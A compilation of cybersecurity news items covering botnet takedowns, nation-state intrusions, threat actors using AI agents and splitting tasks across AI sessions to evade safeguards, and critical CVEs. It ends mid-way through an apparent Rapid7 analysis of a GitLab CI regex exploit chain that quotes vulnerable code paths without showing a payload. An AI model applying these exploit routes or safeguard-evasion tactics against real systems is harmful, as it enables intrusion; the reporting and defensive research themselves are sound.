An unreleased OpenAI cyber model found and exploited 948 distinct Linux kernel privilege escalation bugs for about $1.2 million.
The post AI Agents Got Root on Linux via 948 Kernel Flaws in OpenAI Research appeared first on SecurityWeek.
Google and an assortment of partners shut down a botnet that an approved Android device manufacturer purposefully deployed across more than 1.3 million TV set-top boxes, the company said Monday.
Videostrong Technology Co., a China-based Android original equipment and device manufacturer, implanted a backdoor into multiple devices it sold. Those backdoors established XCPE, an expansive botnet that cybercriminals used to conduct ad fraud, steal data and route malicious traffic through residential proxy networks, according to a Google Threat Intelligence Group report.
Google took legal action to shut down the domains and servers Videostrong used to control the botnet. The company also took down command-and-control domains that more than a dozen malware families ran as modules through the XCPE backdoor, claiming it disrupted access to at least 10 million additional compromised devices from various manufacturers.
Videostrong sold Android devices with pre-installed malware for years, slipping by Google’s security tests by loading the malicious code after the device’s first boot. “The XCPE operators constantly evolved its configurations to evade Google’s pre and post-launch detections,” Charley Snyder, head of disruption operations at GTIG, told CyberScoop.
Snyder declined to say when or how Google first became aware of the approved vendor running a botnet on Android-powered devices.
“We found this malicious software built directly into many different device models and brands over multiple years, supported by dedicated infrastructure and constantly evolving configurations to evade detection and manage their affiliates,” Google researchers wrote in the report. “We believe this campaign wasn’t an isolated rogue insider or a development oversight.”
Google banned Videostrong and any future subsidiaries from building or selling certified Android devices, and said it changed its review process to detect and stop similar activities in the future. Yet, Snyder said the company isn’t sharing specifics on these changes because it doesn’t want to provide threat actors insights that might help them circumvent these additional protections.
Most of the devices comprising the XCPE botnet were Android TV set-top boxes, but researchers also observed infected Android-based telehealth devices, karaoke machines and digital signs.
“Without users’ knowledge or consent, infected devices were offered as a distribution mechanism for a wide array of criminal actors,” researchers wrote in the report. “This led to a variety of malicious activities being conducted on and through the devices, including ad-fraud, data exfiltration, and routing malicious network traffic through the devices.”
The botnet spanned more than 170 countries, with the largest concentration of infected devices based in Malaysia, Brazil, Iraq, Mexico and Taiwan, according to TrendAI researchers. Nearly 44,000 infected devices were based in the United States between June and October.
Google also partnered with Japan’s National Police Agency, Lumen Technologies, Human Security, Plume and Synthient to study and disrupt the botnet.
The company said the dismantling of XCPE “seriously impacted over a dozen malicious actors,” yet it warned that the underlying market for backdoors, ad fraud and residential proxy networks are resilient and operating as an interconnected supply chain.
The post Google shuts down global botnet running on certified Android devices appeared first on CyberScoop.
A China state-backed threat group is using ARTEX, the automated agentic AI penetration testing framework, to achieve remarkable speed, scale and success in a campaign that already compromised about 140 sensitive targets in 11 days, according to CrowdStrike.
The threat group, which CrowdStrike tracks as Vapor Panda, targeted more than 200 organizations in at least 14 countries since Oct. 17, the security company said in a threat report Thursday. Targets and confirmed victims include foreign ministries, a European country’s presidency and prime minister’s office, defense and intelligence agencies; 19 U.S.-based organizations in the pharmaceutical, semiconductor, defense, nuclear and financial sectors; and telecom providers in the United States, Belgium and the Philippines.
CrowdStrike told CyberScoop about 70% of Vapor Panda’s targets were confirmed compromised or had evidence indicating moderate confidence of a successful intrusion.
Vapor Panda’s use of ARTEX, paired with DeepSeek, allowed it to accomplish more tasks with shocking speed — requests occurring as often as every 10 seconds — and pursue multiple attack paths concurrently.
“This is the first time that we’re seeing an agentic adversary nation-state threat actor at this scale, and I think that this is probably, unfortunately, something we’ll see more of,” Adam Meyers, senior vice president of counter adversary operations at CrowdStrike, told CyberScoop.
Hands-on-keyboard activity tracked by CrowdStrike for the past 15 years typically involved up to 40 commands per hour. “Now, with ARTEX, we could see it exceed 1,500 commands an hour,” Meyers said.
“If you diversify that across 200 targets, it costs them very little to run a mass-exploitation campaign and drop a websell,” he added. “They can hit more targets in a faster period of time.”
Vapor Panda’s broad-access campaign, which remains active, has targeted think tanks and government agencies spanning defense, justice, finance and diplomacy.
“I would characterize it as a diverse operational mission that tends to focus on sectors and geographies that Beijing considers economically or politically important,” Meyers said.
The active campaign attributed to Vapor Panda is separate from the ARTEX activity Microsoft Threat Intelligence attributed to Storm-0940 earlier this month, including a supply-chain attack targeting ConnectWise customers.
Adversarial use of AI is relatively new, yet also quickly becoming the new normal, Meyers said. “We’re scrambling because we’re seeing so many of these agentic adversaries.”
Agentic AI use for malicious purposes is growing month-over-month at a rate of almost threefold. CrowdStrike observed roughly 45 agentic adversary attacks in September and it’s already at 126 for October, and climbing.
Adversarial use of agentic AI isn’t an intractable problem, but rather another reminder that organizations need visibility into their endpoints, identities and cross-domain capabilities, Meyers said.
These attacks aren’t showcasing anything new, “it’s just doing it at a speed and scale that we’re unaccustomed to,” he said. “It’s not hopeless, but you’ve got to take action. You can’t put your head in the sand.”
The post China-backed threat group used agentic AI pentesting tool to compromise 140 sensitive targets in 11 days appeared first on CyberScoop.
A defense contractor with top secret security clearance pleaded guilty to aiding North Korea’s remote worker scheme by allowing co-conspirators to use his identity to apply for jobs, including positions with national security implications, the Justice Department said Wednesday.
John Allen Kurrle Jr. participated in a short-lived but prolific conspiracy that spanned at least 88 job applications at U.S.-based companies, resulting in nine job offers, according to court records.
The 62-year-old allowed co-conspirators to use his identity and government clearance for prospective sensitive work, often with U.S. government contractors. The nine job offers Kurrle’s co-conspirators received between June and October 2025 had annual salary ranges of $120,000 to $190,000.
The scheme had a limited success rate. The longest and most lucrative job a co-conspirator landed under Kurrle’s identity lasted about three weeks, netting a total pay of $4,800.
His identity was also used to gain employment as a software engineer at a Ventura, California-based company to work on a generative AI project for a component of the U.S. military. The company sent a laptop to Kurrle’s residence in Gainesville, Virginia, where he received and hosted laptops shipped by multiple victim companies, enabling co-conspirators to remotely access the devices from outside the United States.
Yet, during a video call to verify employment eligibility, the company noticed that the person who appeared on the video call did not match Kurrle’s age or physical characteristics, according to court records. The unnamed company terminated the employment of Kurrle’s co-conspirator before he did any work on the military contract and Kurrle shipped the laptop back to the company.
The company paid Kurrle’s co-conspirator almost $2,200 for 32 hours of onboarding, which Kurrle is now ordered to pay in restitution along with the $4,800 received from the other company.
Kurrle also, as part of his plea agreement, admitted to using the identity of a third person, without their consent, to apply for some remote work positions. He doesn’t dispute that the scheme likely benefitted North Korea, but claims he wasn’t aware of the connections to North Korea during the duration of his involvement in the conspiracy.
Michael Barnhart, nation state investigator at DTEX, said researchers previously identified Kurrle as a facilitator for North Korea’s remote worker scheme. Yet, until recently, he wasn’t sure if Kurrle was a victim or impersonated.
The case underscores North Korea’s efforts to gain access to roles with a strategic intelligence requirement, as it focuses on contractor roles because those present the path of least resistance.
Kurrle joins a growing list of people who have been charged or jailed for supporting the North Korea regime’s scheme that generates hundreds of millions of dollars annually for the country’s military and organizations involved in its weapons programs.
Authorities have been cracking down on the malicious insider activity by seizing cryptocurrency linked to the theft, and targeting U.S.-based facilitators who provided forged or stolen identities and hosted laptop farms for North Korean operatives.
Some of that money is also funneling through a web of front companies and intermediaries, including sanctioned entities, that partly fund Russia’s war effort against Ukraine, DTEX said in a report in July. This includes manufacturing weapons and supplying them to Russia’s military, according to the security firm.
The countermeasures are stacking up, but the scheme is widespread and has infiltrated an undetermined number of businesses, including hundreds of Fortune 500 companies.
Federal judges previously sentenced other people to prison for their involvement in the scheme, including Matthew Issac Knoot and Erick Ntekereze Prince; Keija Wang and Zhenxing Wang; Audricus Phagnasay, Jason Salazar and Alexander Paul Travis; Oleksandr Didenko and Christina Chapman.
Kurrle pleaded guilty to conspiracy to commit wire fraud and faces up to 20 years in prison upon sentencing, which is currently scheduled for Jan. 28, 2027.
The post Defense contractor pleads guilty to aiding North Korean remote worker scheme appeared first on CyberScoop.
Authorities seized the domain of Virtualine, a bulletproof hosting provider that cybercriminals used to commit a large-scale sextortion scheme, ransomware, data theft, malware hosting and money laundering, the Justice Department said Tuesday.
Virtualine facilitated prolific criminal activity, including the distribution of child sexual abuse material (CSAM), the Justice Department said. The Russian-speaking bulletproof hosting provider was among the most active this year in crypto-related crime in particular, researchers said.
The site and its associated infrastructure stands out among the dozens of bulletproof hosting providers currently tracked by TRM Labs. “It was not among the largest by total inflows, but it received the most illicit-attributed value in 2026 to date,” the blockchain and cryptocrime research firm wrote in a blog post.
Virtualine received almost one-fifth of all illicit-attributed inflow among bulletproof hosting providers tracked by TRM this year to date.
A Russian drug marketplace accounted for nearly 44% of the direct payments Virtualine received from customers and attributed counterparties so far this year, according to TRM. A sextortion scheme accounted for nearly 17% of direct payments to Virtualine, followed by a cryptocurrency mixer at almost 13%, ransomware at nearly 5%, cybercrime services at 3% and malware at 2%.
“Virtualine is another example of Russia’s illicit economy at work: darknet markets, ransomware groups, non-compliant exchanges, and brokers all feeding the same ecosystem,” Ari Redbord, global head of policy at TRM Labs, said in a prepared statement.
“Bulletproof hosting is the connective tissue. Seizing a domain matters, but the blockchain record doesn’t disappear with it. It shows who is paying, who is getting paid, and where they go next,” he added.
Virtualine attracted many criminals as customers. Ransomware groups, including Coinbase Cartel, The Gentlemen, INC, DragonForce and Qilin all paid the site’s operators, according to TRM. The bulletproof hosting provider also received payments from the StealC infostealer, the Matanbuchu loader, bot and malware-distribution services and sites linked to CSAM.
The FBI and prosecutors got a court order to seize Virtualine’s primary domain, which was also known as Secury, Massgod, Spamhouse, Lanedo and Omegatech.
Officials said Virtualine continued hosting services for a customer that distributed CSAM and a hack-for-hire service after it received numerous notices from law enforcement in Germany, Canada, Australia, the National Center for Missing and Exploited Children and a victim’s attorney.
TRM underscores that Virtualine was disrupted, but not completely shut down. “A domain seizure disrupts how customers find and access a service,” researchers wrote. “It does not, by itself, establish that the operator has stopped working, or that customers have lost access to all underlying infrastructure.”
The post Officials seize domain of top bulletproof hosting provider Virtualine appeared first on CyberScoop.
Volt Typhoon, a China-government backed hacking group that has infiltrated America’s critical infrastructure networks for years, has consistently built and dismantled ephemeral malicious infrastructure to burrow into hundreds of sensitive systems undetected, Lumen Technologies’ Black Lotus Labs said in a Wednesday report.
The covert access operation that researchers call “Silent Train” isn’t a standalone network, but rather a series of compromised small office home office (SOHO) routers, internet of things (IoT) devices and enterprise infrastructure that Volt Typhoon has rapidly rotated through since late 2023.
The Chinese threat group has used this chain of short-lived compromised infrastructure to exploit additional vulnerabilities, including zero-days, in network edge devices and gain deeper, persistent access into victim networks, researchers said.
“Individual chains are assembled and dismantled every day, with infrastructure continually refreshed,” Michael Horka, principal information security engineer at Black Lotus Labs, told CyberScoop. “Volt Typhoon demonstrated a repeatable capability to rebuild a new chain with different infrastructure in less than two minutes, making the number of nodes at any one moment effectively close to zero.”
Black Lotus Labs has notified hundreds of victims since it first identified Silent Train activity, including telecom providers, government entities, defense contractors, communication services, universities and IT firms. Other victims spanning critical infrastructure include organizations in the water, energy, transportation, maritime, rail, aviation and emergency services sectors.
“The ephemeral nature of the framework means our observations should not be interpreted as a complete census of Volt Typhoon activity,” said Horka, who also was the lead researcher on the report.
The nation-state group’s investment in operational security and preserving access is remarkable, according to Black Lotus Labs.
“We observed infrastructure assembled in under two minutes, sessions averaging roughly four hours, extensive cleanup, compartmentalization and continued development of new access vectors,” Horka said. “That is considerable effort devoted not even to get into their end targets, but purely to making important operations difficult to discover and trace.”
Volt Typhoon relied more heavily on Silent Train after the FBI and Justice Department disrupted the KV Botnet in early 2024, researchers said. Earlier this year, U.S. and global authorities warned about a widespread shift in Chinese hacking groups’ use of covert networks riding on compromised common devices.
The reach of those efforts is extensive and ongoing. Volt Typhoon has exploited and abused more than 27 device classes in Silent Train operations, including edge devices, enterprise management tools, identity and access management systems, networking infrastructure and other technologies.
“The diversity matters, but the discipline matters even more,” Horka said. “Specific device types were consistently reserved for particular positions in the chain. It operated less like a collection of randomly compromised devices and more like an organized inventory of capabilities.”
The threat group has successfully compromised devices and technologies from Fortinet, Cisco, ManageEngine, Ivanti, F5, Check Point, Palo Alto Networks, ServiceNow, TP-Link, Netgear and ArcGIS, researchers said. Black Lotus Labs also observed confirmed zero-day campaigns targeting Versa Director, N-Able N-Central, Cisco Catalyst SD-WAN and VeloCloud Orchestrator.
“The exploitation patterns, victimology, and geographic targeting observed throughout our investigation point to a sustained focus on communications, defense, government, and critical infrastructure environments of enduring strategic value,” Black Lotus Labs researchers wrote in the report. “Through repeated targeting of centralized management platforms and control-plane technologies, Silent Train shows how Volt Typhoon systematically pursues and preserves access to some of the most consequential networks in the United States.”
Silent Train’s ephemerality and operational discipline means it can’t be measured in size. These attributes also make it “fundamentally difficult to disrupt because there isn’t one network to take down,” Horka said.
“What exists today will be completely different tomorrow,” he added. “You can try to remove individual pieces, but removing the actor’s ability to continuously rebuild them is a much harder problem to solve.”
The post Researchers uncover Volt Typhoon’s covert, ephemeral network appeared first on CyberScoop.
Even OpenAI is admitting there is a lot of AI slop in the security space.
An executive for the frontier AI company said Tuesday that AI-generated vulnerability reports are overwhelming open-source maintainers, leading some to stop accepting submissions as the workload exceeds their capacity to review them.
Michael Aiello, OpenAI’s cyber executive in residence, described the problem during a question-and-answer session Tuesday at the DataTribe Challenge in Washington, D.C., when he was asked how he viewed OpenAI’s Patch the Planet program versus open-source maintainers banning AI-based submissions because of concerns about quality and clarity.
“It’s an ecosystem problem where that [maintainer] is just not going to respond to hundreds and hundreds of AI-submitted vulnerabilities,” Aiello said.
He contrasted the volume against his company’s own program, which partners with security research organizations to identify vulnerabilities, develop fixes and help bring them into the affected projects. According to the company’s website, 661 patches have been developed and tested, with 458 of them accepted by maintainers for inclusion in the projects they oversee.
However, Aiello said those involved with Daybreak often coordinate with maintainers, as opposed to just sending a message into GitHub and hoping for the best.
He further described the broader burden on maintainers, who are often tasked with running through hundreds of AI-generated reports to determine validity, the security implications and evaluate the proposed fix.
“In most cases, they’re likely real bugs of some degree,” he said. “It’s, ‘Are they critical bugs?’ And are they bugs worth the time of the maintainers?…The result is they’ve just stopped taking” submissions.
Aiello further laid out advice for those that do create vulnerability disclosures for open-source maintainers, including more work in establishing the quality of the finding, writing an understandable report and allocating resources to coordinate disclosure once a report is filed.
“Make sure they’re really high quality, make sure it’s consumable and readable by a single person, and then spend your own resources coordinating vulnerability disclosure,” he said. “You need to now coordinate the vulnerability disclosure across the whole ecosystem, which is itself another project.”
Aiello used OpenAI’s work on the recent PHP vulnerabilities as an example of that coordination. He said a partner research organization discovered the flaw, and OpenAI worked with the PHP Foundation to validate it, develop a fix and coordinate its release.
“You have to work with response partners, and you have to work with the operators to actually issue the patch,” he said.
The process involved coordinating with a broad group of organizations, extending the work from technical review through patch release. Aiello acknowledged difficulties in carrying out the entire process.
“Now, did it go perfectly? No,” he said. “We’re learning as we do this over time.”
The post Before you file that AI bug report, OpenAI has some advice appeared first on CyberScoop.
Alarm bells ratcheted up yet again about an AI-discovered vulnerability that could — if exploited in the wild — destabilize vast stretches of the internet.
The critical defect — CVE-2026-111497 — affects the Google-developed Brotli decompression library that’s bundled into many components, applications and cloud services riding on open-source software. The buffer overflow vulnerability, which OpenAI Codex Security discovered and Node.js disclosed in a Oct. 21 security advisory, can trigger system crashes and remote code execution.
Researchers haven’t observed any active exploitation of the defect in real networks, but concerns are mounting. Multiple vendors and software packages, including Microsoft and Python, that rely on vulnerable versions of Brotli have rushed emergency patches out to address the risk of exploitation in their respective systems.
Wiz researchers warned that “91% of cloud environments have resources vulnerable to CVE-2026-111497 and 82% of cloud environments have publicly exposed Node.js instances.”
The attack surface is “extremely broad and vast, but much of the impact of exploitation depends entirely on its implementation and how it is used within that piece of software,” said Jake Knott, head of threat intelligence at watchTowr.
Christiaan Beek, vice president at Rapid7 Intelligence, said the Brotli vulnerability is especially concerning because it’s effectively hiding out in the open, as are many open-source software libraries.
“Most businesses have no idea how deeply components like Brotli are embedded in their technology. A vulnerability in a compression library sounds almost boring until you realize it could affect applications your business depends on every day,” he said. “That’s the uncomfortable reality of modern software: a small component can create a very large business risk.”
The defect, dubbed “Node2Shell” or “Broccoli2Shell,” is the latest in a series of vulnerabilities that have provoked an emergency response. Defenders and researchers were on heightened alert last week over a pair of critical PHP vulnerabilities dubbed “PHP2Shell” that also have yet to be exploited in the wild as of Monday afternoon.
These cyclical and increasingly recurring so-called emergencies are putting organizations and defenders at a significant disadvantage.
“After being part of numerous channels and message threads full of defenders trying to discern what’s real and what’s BS over the past several months — and especially the past week — I can say unequivocally that the human cost of these events is real, pronounced, and will have downstream impacts far beyond what the community can immediately predict,” Caitlin Condon, vice president of research at VulnCheck, told CyberScoop.
“None of this — high-profile vulnerability disclosures, the overblown exploitability assumptions, the community arguments, the race to weaponize — is new,” she added.
“What’s changed now is that AI is pumping out complex — and often not clearly explained — finds at a much higher rate, exponentially increasing noise levels and making it much more difficult both to debunk overhyped vulnerability discoveries and to determine which vulnerabilities are broadly exploitable in real-world production configurations.”
Researchers acknowledge the additional stress defenders and organizations are in because of this always-in-emergency mode.
“We’ve reached a point where everything seems to be an emergency. And when everything is critical, businesses risk losing sight of what actually matters,” Beek said. “The real cost isn’t just patching. It’s the constant disruption to operations, the diversion of resources, and the difficult decisions about which business systems deserve immediate attention.”
Experts also consider this the new normal as more high-impact vulnerabilities with far-reaching potential consequences are found.
“We suspect in the very near future, defenders may lose the ability to tell what is a true emergency versus a loud and prevalent vulnerability in a ubiquitous product or library,” Knott said.
Experts advise organizations to focus on their specific risk, weighing the Brotli vulnerability’s potential impact in their environment.
“Attackers don’t care about CVSS scores,” Beek said. “They care about what they can compromise, disrupt, or monetize and that’s exactly how we should prioritize our defenses.”
The post Experts temper emergency-level alarms over critical Brotli defect appeared first on CyberScoop.
Three days is the average time between a high-severity vulnerability becoming public and its exploitation, according to the latest Quarterly Threat Landscape Report from Rapid7. And 71% of the exploitation tracked in Q3 occurred within the first seven days.
For security teams already managing growing vulnerability backlogs, this creates a difficult question: How do you reduce exposure when attackers can exploit vulnerabilities before your next patching window?
Rapid7's Q3 2026 research brings together vulnerability intelligence, ransomware activity, APT tracking, and underground forum intelligence to show where attacker activity is concentrated.
Rapid7 tracked 43 newly exploited high- and critical-severity vulnerabilities this quarter, down 7% from Q2 but still 19% higher than the same period last year.
The number of newly exploited vulnerabilities isn't growing at the same rate as disclosures. The more pressing concern is how quickly attackers exploit the vulnerabilities they choose. On average, exploitation occurred just three days after public disclosure. The report also found that 80% of tracked exploitation occurred within 14 days and 90% within 30 days.
That timeline creates a serious challenge for organizations relying on fixed remediation schedules. It also reinforces the need to distinguish between vulnerabilities that are theoretically severe and those that pose an immediate, exploitable risk.
The report examines the exploitation timeline in greater detail, including the vulnerability characteristics that make certain exposures particularly attractive to attackers.
Q3's vulnerability data reveals another concerning pattern: Of the 43 newly exploited high- and critical-severity vulnerabilities tracked, 34 (79%) required no authentication or user interaction.
This provides attackers a potential path into exposed systems, no stolen credentials or malicious content interaction necessary. An internet-facing service with an exploitable vulnerability may require immediate attention, particularly when an attacker can reach it without authenticating.
This makes attack surface visibility and contextual prioritization essential. Security teams need to understand which systems are externally accessible, which vulnerabilities are actively exploited, and whether existing controls can prevent or limit compromise.
A CVSS score alone won’t give you the answers. The report explores the characteristics of exploited vulnerabilities and why understanding reachability is critical to reducing risk.
In Q3, 8% of the threat reporting tracked by Rapid7 cited AI as an operational component. The research identifies a shift from using AI primarily to help draft content or code toward supporting tactical decisions and execution within attack campaigns.
In the documented cases, human operators continued to select targets and determine objectives, but relied on AI assistance for technique selection, target assessment, and adapting when an attack step failed.
The report also examines how threat actors split malicious objectives across multiple AI sessions to evade provider safeguards. There are serious implications for detection in these findings. AI-enabled attacks also reinforce the value of monitoring and quickly adapting to attacker behavior rather than relying exclusively on known malware signatures or threat actor identities.
The report provides additional context on how AI appeared in tracked campaigns and what defenders should monitor.
Q3's findings reveal a challenge that vulnerability counts alone can’t explain. Attackers exploited 43 newly tracked vulnerabilities this quarter, yet the average exploitation window was just three days. Meanwhile, underground forum monitoring identified 41 posts advertising RDP or network access, demonstrating continued interest in selling access to compromised environments.
Security teams must account for both the vulnerabilities attackers can exploit directly and the access they can obtain through other means.
Start by identifying externally accessible assets and the vulnerabilities affecting them. Prioritize known exploitation, unauthenticated access paths, and systems supporting critical business functions. Where immediate remediation isn't possible, assess compensating controls and detection coverage.
The latest Rapid7 Quarterly Threat Landscape Report brings together vulnerability research, ransomware intelligence, nation-state activity, and dark web monitoring to help security teams understand where threats are concentrated and what to address first. Download and read it now.
Microsoft researchers attributed the recent supply-chain attack targeting ConnectWise customers’ Microsoft 365 environments to a China-state aligned threat actor it tracks as Storm-0940.
“As early as September 2026, Storm-0940 used the agentic AI penetration testing framework ARTEX to automate attacks targeting hundreds of organizations globally across a broad range of industries,” Microsoft Security Research wrote in a blog post Wednesday.
The nation-state group, which has been active since 2021, targeted organizations in aerospace and defense, automotive, chemicals, energy, financial services, government, legal, manufacturing, media, military, semiconductors, software, technology, think tanks and non-profits.
Storm-0940 initiated a widespread, but ultimately unsuccessful, password-spraying campaign immediately preceding the compromise of ConnectWise’s Cloud Backup service. During a four-day stretch ending Oct. 14, Storm-0940 targeted 327 Microsoft 365 and Exchange Online accounts across eight organizations, researchers said.
During that short campaign, Microsoft observed more than 151,000 failed logon attempts, peaking at 2,900 failures per minute. Storm-0940 set its sights on ConnectWise the next day, using AI agents and the same malicious infrastructure to compromise a series of ConnectWise Cloud Backup customers’ Microsoft 365 environments.
Storm-0940 gained significant advantages in the ConnectWise supply-chain campaign by using ARTEX to accelerate scanning, conduct password-spray attacks and abuse OAuth applications in downstream victims, according to Microsoft.
“In some of these environments, the AI agents (on behalf of the threat actor) progressed beyond authentication to Microsoft Graph and directory operations, including reconnaissance, application credential modifications to establish persistence, and changes involving identities, groups, and privileged roles,” researchers wrote. “Microsoft identified multiple customer environments with evidence of follow-on activity, highlighting how a compromised third-party application with high privileges could provide access beyond its originally intended purpose.”
Microsoft Threat Intelligence said multiple threat actors from various regions are using ARTEX to strengthen capabilities and speed up the tempo of attacks.
The open-source penetration testing framework works with any AI model to automate various offensive security workflows, the company said. “ARTEX is a system of LLM-driven agents that run an autonomous penetration test from reconnaissance through data exfiltration with little needed human interaction.”
In the ConnectWise campaign, Microsoft said “Storm-0940 used ARTEX to reach more than 2,250 tenants at 2,900 sign-in attempts per minute, a pace that leaves defenders with little time to detect and respond.”
Microsoft did not say how many customers were compromised, adding that successful authentication doesn’t necessarily indicate Storm-0940 accessed or stole data. Yet, researchers said the threat group’s AI agents could also gain persistent access and establish backdoors by modifying credentials in targeted victims’ environments.
ConnectWise, which temporarily shut down services Saturday in the wake of the attacks, said it began restoring services in phases Wednesday. The company advised customers to keep connections disabled and said it expects the recovery process to take several days.
“Since early October, a wave of AI-driven cyberattacks has been ongoing,” Igor Tsyganskiy, executive vice president at Microsoft, wrote in a LinkedIn post Wednesday. The ConnectWise supply-chain attack is just “one of many,” he added.
The post Microsoft pins ConnectWise supply-chain attack to China-state aligned threat group appeared first on CyberScoop.
Russian government-connected hackers compromised two defense firms and a law enforcement agency in North Atlantic Treaty Organization countries as part of an espionage campaign, Symantec researchers said in a blog post Tuesday.
The infamous group behind hacks of the Democratic National Committee during the 2016 election cycle was behind the attacks that Symantec identified in recent months: Swallowtail, also known as APT28, Fancy Bear and Forest Blizzard, notorious for its links to the Russian military agency GRU.
The hackers apparently chose the targets of their attacks carefully, including a naval shipbuilder, a manufacturer of military aircraft engines and the law enforcement agency. In the attack on the shipbuilder, Symantec saw “hands-on-keyboard” activity as the hackers repeatedly returned to a compromised host over the course of a week to steal credentialed material.
“Hands-on-keyboard activity means a human operator is choosing what to do next, rather than malware running a fixed routine,” Dick O’Brien, principal intelligence analyst at the Symantec Threat Hunter Team, told CyberScoop. “It’s essentially confirmation that the organization is a genuine target for the operators, not an accidental infection. It also confirms that further exploitation beyond the initial infection was at least attempted.”
O’Brien said the campaign reflected broader intelligence collection aimed at European government and defense targets, but its motive wasn’t certain. He speculated that it could have been part of campaigns to target nations aiding Ukraine in its war against Russia.
The hackers made use of the Hookedge backdoor first identified in August by Recorded Future’s Insikt Group. That firm saw attacks dating back to September of last year by the same group using the same backdoor on defense and diplomatic targets in Romania, Spain and Turkey.
Symantec also observed the hackers deploying a previously undocumented loader.
“What surprised us was that the attackers then moved their most sensitive follow-up activity onto a dedicated server, when Recorded Future had expected them to keep hopping between free services,” O’Brien said. “The loader, ld.exe, hadn’t been publicly documented. It decrypts its payload in memory, and it needs a key supplied only at runtime on the command line. Without both the encrypted file and the key, the payload can’t be recovered. We didn’t recover it, so we don’t know its function.”
This spring, researchers and U.S. government agencies said they quashed a Forest Blizzard espionage campaign. Western governments warned last year about the group targeting companies supporting Ukraine.
The post Russian GRU hackers hit NATO shipbuilder, aircraft engine maker, law enforcement agency in espionage campaign appeared first on CyberScoop.
A portion of ConnectWise’s customers have been adrift for days, and hundreds are compromised, as the company’s efforts to restore its Cloud Backup service remain underway with no confirmed timeline for when customers can regain access.
The company temporarily shut down multiple services Saturday after a threat actor gained access to a highly sensitive credential that allowed its customers to connect the vendor’s application with Microsoft 365 environments.
The threat actor, which hasn’t been identified, used the application programming interface (API) secret to compromise a series of ConnectWise Cloud Backup customers’ Microsoft 365 applications, including Exchange Online, Microsoft Teams, SharePoint Online, Cloud Backup, MS Graph and Partner Center, according to Huntress.
Researchers observed an initial wave of attacks Friday, and by late Saturday Huntress “had seen sign-in activity from the malicious infrastructure across almost 1,000 Entra tenants, with more than 300 of those sign-ins appearing to succeed,” Jonathan Semon, principal security operations analyst at Huntress, told CyberScoop.
The cybersecurity company, which primarily supports small- to mid-sized businesses, confirmed unauthorized sign-ins in 162 tenants and said additional compromises beyond its telemetry are likely.
ConnectWise suspended its Cloud Backup, SaaS Security and Cloud Management services about two days after researchers observed an initial wave of unauthorized sign-ins.
“ConnectWise is continuing its investigation and remediation following unauthorized access to application identities associated with ConnectWise Cloud Backup, formerly known as SkyKick,” a company spokesperson wrote in an email.
“We are monitoring our entire environment around the clock,” the company said in a security advisory. “Since mitigations began on October 17 at 05:00 UTC, we have not observed successful threat activity in the environments we monitor. This does not establish whether individual partner or customer Microsoft 365 tenants were affected; each potentially affected tenant still requires review.”
Microsoft Threat Intelligence said it observed broad successful sign-ins from a malicious IP address on Oct. 15. “Follow-on activity included Microsoft Graph API reconnaissance and attempts to add additional credentials on the related service principal in target tenants to maintain direct access as a backdoor,” the company said in a LinkedIn post.
The root cause of the breach and ensuing fallout remains under investigation, and the company declined to answer questions about how attackers obtained the credential for ConnectWise Cloud Backup.
Researchers at Huntress and Todyl, which conducted its own investigation, characterized the secret and its chain of command as critical.
“Because it’s a multi-tenant application, anyone holding that credential can request access tokens in any tenant where the application is installed, without any action by the customer,” Semon said.
Sign-ins, which were performed by an automated tool, also gave the attacker the technical ability to read and write mail and files across various Microsoft 365 applications, Todyl wrote in a blog post.
Highly privileged access granted by the credential for ConnectWise Cloud Backup allowed attackers to bypass security controls, including multi-factor authentication, and establish additional access.
“In the tenants where we saw post-compromise activity, the account associated with the application elevated its own privileges and added new credentials to other applications in the tenant. That would let someone keep access even after the original application was disabled,” Semon said.
ConnectWise and researchers haven’t attributed the attacks to any known threat actors and none have publicly claimed responsibility. The company said restoration efforts remain underway, but it hasn’t provided a timeline for when customers can regain access.
ConnectWise and researchers shared indicators of compromise to help potentially exposed customers hunt for malicious activity in their systems. Yet, the vendor and third-party companies responding to confirmed attacks, encouraged customers to disable any affected applications even if they don’t see anything unusual in their logs.
The post ConnectWise customers hit by supply-chain attack linked to compromised API secret appeared first on CyberScoop.
On October 12, 2026, GitLab released 19.4.2, 19.3.5, and 19.2.8 to fix CVE-2026-97229, an integer overflow in its CI/CD regular-expression handling. The issue was reported through HackerOne by joaxcar. GitLab assigned it a CVSS score of 10.0 and described possible code execution by an unauthenticated user.
The advisory states that CVE-2026-97229 affects GitLab CE and EE from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2. GitLab says all deployment types are affected unless stated otherwise. GitLab.com was patched before disclosure, and Dedicated customers do not need to act.
Rapid7 researchers developed an end-to-end PoC that reliably runs arbitrary commands as GitLab's git operating-system account on the official Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 image with ASLR enabled. GitLab's release notes do not report exploitation in the wild occurring at the time of disclosure.
This analysis covers one end-to-end route. It begins after an attacker has pushed both the malicious CI configuration and a specially named path to a public project; only the final CI lint request is unauthenticated. That prerequisite conflicts with GitLab's PR:N rating, and because the underlying report remains private, we do not yet know how the reported attack avoids it.
At a high level, the chain crosses from attacker-controlled repository input into Onigmo pcode and finally native code execution.
GitLab supports regular-expression matching over repository paths in rules:exists:regexp and rules:changes:regexp. One way to evaluate such an expression during static configuration processing is to place it on a conditional include:
include: - local: /benign.yml rules: - exists: regexp: "ATTACKER_PATTERN"
RegexpMatcher expands the expression, compiles it with Ruby's native regular-expression engine, and tests it against paths from the selected Git worktree:
# Exists#regexp_match?() def regexp_match?(context) matcher = regexp_matcher(context) matcher.validate_pattern_length! # [0] Source-length check Gitlab::SafeRequestStore.fetch(regexp_comparison_key(context, matcher.expanded_pattern)) do # ... top-level optimisation omitted matcher.match?(worktree_paths(context, false)) # [1] Repository paths end end # RegexpMatcher#match?() def match?(paths) # ... path-count fail-open handling omitted pattern = compile_pattern # [2] Compile regexp deadline = current_monotonic_time + REGEXP_TOTAL_TIMEOUT_SECONDS paths.any? do |path| # ... total-budget check omitted pattern.match?(path) # [3] Native match # ... per-match timeout handling omitted end end
By the time execution reaches [0], GitLab is checking only the length of the expanded source expression. The call at [1] supplies every filename in the selected commit, while compile_pattern at [2] ultimately invokes Regexp.new. Each iteration at [3] therefore crosses from CI configuration into native Onigmo with a repository path as the match subject.
GitLab places several sensible limits around CI regular expressions. The interesting parts of its wrapper are shown below:
LoginREPEAT_BOUND = /(?<!\\)(?:\\\\)*\{\s*(\d+)\s*(?:,\s*(\d+)?\s*)?\}/ # [4] Repeat scanner
def self.compile_regexp(pattern, timeout: nil)
raise RegexpError, 'uses a subroutine call (\g), which is not allowed' if SUBROUTINE_CALL.match?(pattern) # [5] Subroutine-call check
